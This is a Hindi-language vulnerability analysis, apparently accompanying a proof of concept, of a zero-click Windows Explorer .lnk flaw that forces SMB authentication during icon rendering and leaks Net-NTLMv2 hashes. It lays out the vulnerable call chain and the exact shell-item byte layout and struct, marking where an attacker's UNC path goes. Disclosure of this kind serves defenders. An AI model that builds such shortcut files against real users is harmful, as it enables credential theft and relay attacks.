
Windows Explorer के .lnk दोष का प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण, जो आइकन रेंडरिंग के दौरान SMB प्रमाणीकरण को बाध्य करता है और Net-NTLMv2 क्रेडेंशियल्स लीक करता है।
ज़ीरो-क्लिक फ़ोर्स्ड ऑथेंटिकेशन: तैयार किए गए .lnk वाले फ़ोल्डर को देखने पर आइकन रेंडर के दौरान UNC रिज़ॉल्यूशन ट्रिगर होता है, जिससे पीड़ित को हमलावर-निर्देशित आउटबाउंड कनेक्शन के लिए मजबूर किया जाता है जो उनके Net-NTLMv2 क्रेडेंशियल्स को लीक करता है (और उनके रिले को सक्षम बनाता है)। यह CVE-2026-21510 के अपूर्ण पैच के कारण उत्पन्न हुआ: Microsoft द्वारा जोड़ा गया ट्रस्ट वेरिफिकेशन केवल ShellExecuteExW कॉल के दौरान, इनवोकेशन के समय काम करता था, लेकिन नुकसान CControlPanelFolder::GetUIObjectOf के बिंदु पर पहले ही हो चुका होता है, जिसे किसी भी ShellExecute ट्रस्ट वेरिफिकेशन से पहले कॉल किया जाता है।
Explorer आइकन प्राप्त करने के लिए CControlPanelFolder::GetUIObjectOf को कॉल करता है -> CControlPanelFolder::GetModuleMapped -> PathFileExistsW(modulepath) -> GetFileAttributesW(modulepath)। यदि modulepath एक UNC पथ है, तो एक आउटबाउंड SMB कनेक्शन बनाया जाता है। किसी इनवोकेशन की आवश्यकता नहीं; यह क्वेरी करना कि फ़ाइल मौजूद है या नहीं, एक रिमोट stat को ट्रिगर करता है, और यह SMB कनेक्शन को मजबूर करता है। SMB रीडायरेक्टर एक मनमाने सर्वर (TCP/445) से कनेक्शन खोलता है, जिससे स्वचालित NTLM ऑथेंटिकेशन ट्रिगर होता है और पीड़ित का Net-NTLMv2 हैश लीक होता है। 0click, आइकन देखना ही ट्रिगर करने के लिए पर्याप्त है।
LinkTargetIDList
. IDListSize = 0xXXXX
. ITEMIDLIST =
. [SHITEMID] - Item #1 (binds CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F - (CLSID (GUID) shell item)
abID[1] = 0x80 - (sort order index, hint, not part of the GUID)
abID[2..17] = 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D - (Control Panel CLSID)
. [SHITEMID] - Item #2 (All Control Panel Items view of CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F
abID[1] = 0x80
abID[2..17] = 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83 - (All Control Panel Items CLSID)
. [SHITEMID] - Item #3 (CPL item parsed by CControlPanelFolder::GetUIObjectOf at render)
cb = 0xXX 0x00 - > 0x18 required; _IsUnicodeCPLWorker: cb must exceed 24
+0x02 .. - header bytes; +0x07 signature masked 0x00 or 0xFF (sub_18037D040 Gate 0)
+0x08 WORD = 0 - (checked by _IsUnicodeCPLWorker)
+0x0A WORD = 0 - (checked)
+0x0C BYTE = 0 - (checked)
+0x0D BYTE = 0x6A - Unicode-CPL type tag; flips parsing to the wide path
+0x14 WORD - wide offset (WCHARs) to string #2, ex. display name
+0x16 WORD - wide offset (WCHARs) to string #3
+0x18 WCHAR[] - wide string #1 = module path, attacker UNC goes here
Control Panel applet आइटम प्रकार में एक मॉड्यूल पथ के लिए एक फ़ील्ड होता है। मॉड्यूल पथ .cpl मॉड्यूल का पथ है। Shell Item #3 में एक Unicode Control Panel applet आइटम (_IDCONTROLW) होता है। ध्यान दें कि आइटम को shell-item class-type बाइट (abID[0]) द्वारा पहचाना नहीं जाता है। इसके बजाय, raw बाइट्स को _IDCONTROLW के रूप में तब माना जाता है जब _IsUnicodeCPLWorker सभी पाँच शर्तों की पुष्टि करता है:
यही predicate कोड को +0x18 को मॉड्यूल पथ के रूप में पढ़ने की अनुमति देता है। _IsUnicodeCPLWorker raw आइटम बाइट्स को देखता है, इन पाँच शर्तों की जाँच करता है, और यदि वे पूरी होती हैं तो यह बस उसी pointer को _IDCONTROLW* में cast करके लौटा देता है।
struct _IDCONTROLW{
/* +0x00 */ WORD cb; // item size; _IsUnicodeCPLWorker requires cb > 0x18
/* +0x02 */ BYTE bClassType; // abID[0] in SHITEMID terms (shell-item type indicator)
/* +0x03 */ BYTE unk_03; // (high bytes of the +0x04 dword; +0x07 masked 0x00/0xFF in sub_18037D040 Gate 0)
/* +0x04 */ BYTE unk_04;
/* +0x05 */ BYTE unk_05;
/* +0x06 */ BYTE unk_06;
/* +0x07 */ BYTE bSig07; // (dword@+0x04 & 0xFF000000) must be 0x00 or 0xFF
/* +0x08 */ WORD mustBeZero_08; // checked == 0 by _IsUnicodeCPLWorker
/* +0x0A */ WORD mustBeZero_0A; // checked == 0
/* +0x0C */ BYTE mustBeZero_0C; // checked == 0
/* +0x0D */ BYTE bUnicodeTag; // == 0x6A : the Unicode-CPL tag (the thing "confirmed")
/* +0x0E */ BYTE unk_0E[6]; // unknown (spans to +0x13)
/* +0x14 */ WORD offString2; // WCHAR offset (into payload) to string #2 — e.g. display name
/* +0x16 */ WORD offString3; // WCHAR offset to string #3
/* +0x18 */ WCHAR szModule[]; // string #1 = module path <-- attacker UNC; GetModule copies from base+24 verbatim
};